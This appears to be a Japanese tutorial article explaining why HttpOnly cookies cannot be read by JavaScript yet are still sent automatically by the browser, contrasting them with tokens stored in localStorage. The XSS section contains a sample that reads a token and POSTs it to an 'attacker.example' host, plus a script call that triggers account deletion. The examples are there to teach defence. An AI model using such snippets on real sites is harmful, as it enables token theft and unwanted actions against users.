「読めないのに送られる」とは何か
Cookie の説明でよく出てくるのが、次の言い方です。
HttpOnly Cookie は JavaScript から読めない。しかし、ブラウザは自動でサーバへ送る。
初めて聞くと矛盾しているように見えます。読めないなら送れないのでは、と思うかもしれません。
しかし、Cookie を送っている主体は JavaScript ではありません。送っているのはブラウザ本体です。
Cookie はサーバが保存を依頼する
ログインに成功したとします。サーバはレスポンスに Set-Cookie ヘッダーを付けて、ブラウザにCookieの保存を依頼します。
HTTP/1.1 200 OK
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
Content-Type: text/html
ブラウザはこのヘッダーを見て、example.com 用のCookieとして session_id=abc123 を保存します。
この時点で、JavaScript が localStorage.setItem() のように保存処理を書く必要はありません。HTTPレスポンスのヘッダーを見て、ブラウザがCookie保存を担当します。
次回アクセス時にブラウザが自動で付ける
その後、同じサイトの /mypage にアクセスすると、ブラウザは保存済みCookieを自動でリクエストに付けます。
GET /mypage HTTP/1.1
Host: example.com
Cookie: session_id=abc123
これもJavaScriptが明示的に付けたわけではありません。ブラウザがCookieの Domain、Path、Secure、SameSite などの条件を見て、送るべきか判断します。
ポイント: Cookie は「JavaScriptが読むデータ」ではなく、「ブラウザがHTTP通信に付けるデータ」と考えると理解しやすくなります。
HttpOnly は JavaScript から隠す設定
HttpOnly が付いたCookieは、JavaScriptから読めません。
console.log(document.cookie);
// HttpOnly の session_id は表示されない
ただし、ブラウザのCookie保存領域から消えたわけではありません。ブラウザ本体はCookieを持っています。そのため、同じサイトへの通信では自動送信できます。
| 操作 | HttpOnly Cookie |
|---|---|
document.cookie で読む | できない |
| JavaScriptで値を盗む | 難しくなる |
| ブラウザがHTTPリクエストに付ける | できる |
| サーバがCookieを読んで認証する | できる |
localStorage との違い
localStorage にトークンを置いた場合、APIを呼ぶときはJavaScriptが明示的に取り出して送ります。
const token = localStorage.getItem("access_token");
await fetch("/api/user", {
headers: {
Authorization: `Bearer ${token}`,
},
});
Cookieの場合は、JavaScriptがCookieの値を読む必要がありません。
await fetch("/api/user");
このリクエストにCookieが付くかどうかは、Cookieの属性や fetch の送信先によって決まります。同一オリジンの通常リクエストであれば、ブラウザがCookieを付けます。
XSS では何が変わるのか
もしXSSが起き、攻撃者のJavaScriptがページ上で実行されたとします。
localStorage にトークンがある場合、攻撃者はそれを読めます。
const token = localStorage.getItem("access_token");
fetch("https://attacker.example/steal", {
method: "POST",
body: token,
});
一方、HttpOnly Cookie の値は読めません。
console.log(document.cookie);
// session_id は出てこない
この違いは大きいです。トークンを外部に持ち出されると、攻撃者は自分の環境からAPIを叩き続けられる可能性があります。HttpOnly Cookie は、この「持ち出し」を難しくします。
ただし Cookie は使われる
HttpOnly Cookie は読めませんが、ブラウザは自動送信します。つまり、XSSがあるページ上で攻撃者が次のような処理を実行すると、Cookie付きのリクエストが送られる可能性があります。
await fetch("/api/delete-account", {
method: "POST",
});
このとき、JavaScriptはCookieの中身を知りません。それでもブラウザは /api/delete-account へのリクエストにCookieを付けます。
これが「Cookie は読めなくても、使われる可能性はある」という意味です。
注意: HttpOnly は XSS そのものを防ぎません。防ぐのは主に Cookie の値を JavaScript から読まれることです。XSS 対策は別途必要です。
Cookie 自動送信が便利な理由
Cookie 自動送信には、セッション管理をシンプルにする利点があります。
ログイン後、ブラウザはセッションIDをCookieとして持ちます。サーバは毎回Cookieを見て、ログイン済みユーザーを判断します。
// サーバ側のイメージ
app.get("/mypage", (req, res) => {
const sessionId = req.cookies.session_id;
const session = sessionStore.get(sessionId);
if (!session) {
return res.redirect("/login");
}
res.send(`user_id=${session.userId} のマイページ`);
});
ブラウザ側は、セッションIDをJavaScriptで扱う必要がありません。
まとめ
Cookie は、サーバが Set-Cookie で保存を依頼し、ブラウザが条件に合うリクエストへ自動で付けるデータです。
HttpOnly は「JavaScriptに読ませない」ための設定です。読めないからといって、ブラウザが送れなくなるわけではありません。
認証で重要なのは、この2つを分けることです。
- JavaScriptから読めるか
- HTTP通信に自動で付くか
HttpOnly Cookie は、JavaScriptから読めないが、ブラウザはサーバへ送れる。この性質のおかげで、セッションIDをブラウザに置きつつ、トークン窃取リスクを下げられます。
参考リソース
- 公式ドキュメント - Cookie はなぜ自動で送られるのか - Set-Cookie と HttpOnly を確認するための一次情報
次に読む記事
- HttpOnly Cookie とは何か
- CSRF とは何か - Cookie が自動送信されることの副作用
- Cookie の仕組み - Set-Cookie / SameSite / Secure / HttpOnly